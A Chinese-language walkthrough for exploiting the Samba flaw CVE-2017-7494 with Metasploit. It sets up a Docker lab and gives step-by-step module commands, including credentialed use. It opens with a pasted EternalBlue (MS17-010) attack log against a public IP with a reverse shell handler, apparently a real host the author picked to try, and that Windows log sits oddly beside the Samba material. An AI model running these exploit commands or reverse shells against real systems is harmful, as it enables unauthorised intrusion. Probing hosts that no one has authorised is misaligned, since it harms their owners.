msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 60.52.99.53 rhost => 60.52.99.53 msf6 exploit(windows/smb/ms17_010_eternalblue) > set rport 445 rport => 445 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.0.100:4444 [*] 60.52.99.53:445 - Executing automatic check (disable AutoCheck to override) [*] 60.52.99.53:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [*] 60.52.99.53:445 - Scanned 1 of 1 hosts (100% complete) [-] 60.52.99.53:445 - Exploit aborted due to failure: unknown: Cannot reliably check exploitability. Enable ForceExploit to override check result. [*] Exploit completed, but no session was created. 自己找了一台机器试了下,因为要开启反弹shell,所以还是要你自己搭建一个vps才行!
漏洞信息:
2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
漏洞利用条件:
1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问
2. 共享文件拥有写入权限
3. 恶意攻击者需猜解Samba服务端共享目录的物理路径
满足以上条件时,由于Samba能够为选定的目录创建网络共享,当恶意的客户端连接上一个可写的共享目录时,通过上传恶意的链接库文件,使服务端程序加载并执行它,从而实现远程代码执行。根据服务器的情况,攻击者还有可能以root身份执
测试环境:
在docker下搭建测试环境
1.拉取镜像到本地
root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1
2.启动环境,并将虚拟的445端口映射到物理机的445端口上:
root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1
3.在msf下的利用(kali主机IP: 10.0.0.140,靶机下的ubuntu的物理住机IP:10.0.0.158)
利用的poc:
https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
将is_known_pipename.rb
拷贝到/usr/share/metasploit-framework/modules/exploits/linux/samba/
匿名下的samba远程执行之MSF:
root@backlion:~# service postgresql start
root@backlion:~# msfconsole
msf > search is_known_pipename
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options
msf exploit(is_known_pipename) > set rhost 10.0.0.158
msf exploit(is_known_pipename) > set rport 445
msf exploit(is_known_pipename) > exploit
认证的samb下MSF:
msf exploit(is_known_pipename) > set SMBUSER test
msf exploit(is_known_pipename) > set SMBPASS 123456
msf exploit(is_known_pipename) > set rhost 10.0.0.158
msf exploit(is_known_pipename) > set rport 445
msf exploit(is_known_pipename) > exploit
漏洞检查的NAMP脚本:
http://ys-k.ys168.com/576161633/UIwHtkm3L3K3I865MJ6/samb.nse
参考文献:
https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA
https://mp.weixin.qq.com/s/PPcIhfkrJGoOEf7-Skvr-A
https://mobile.qzone.qq.com/details?sharetag=2866CD731987ABFF941F7FA2F69E8975&bp7=&bp2=&bp1=&_wv=1&res_uin=49870569&appid=2&cellid=1496512730&no_topbar=1&subid=&g_ut=3&from=mp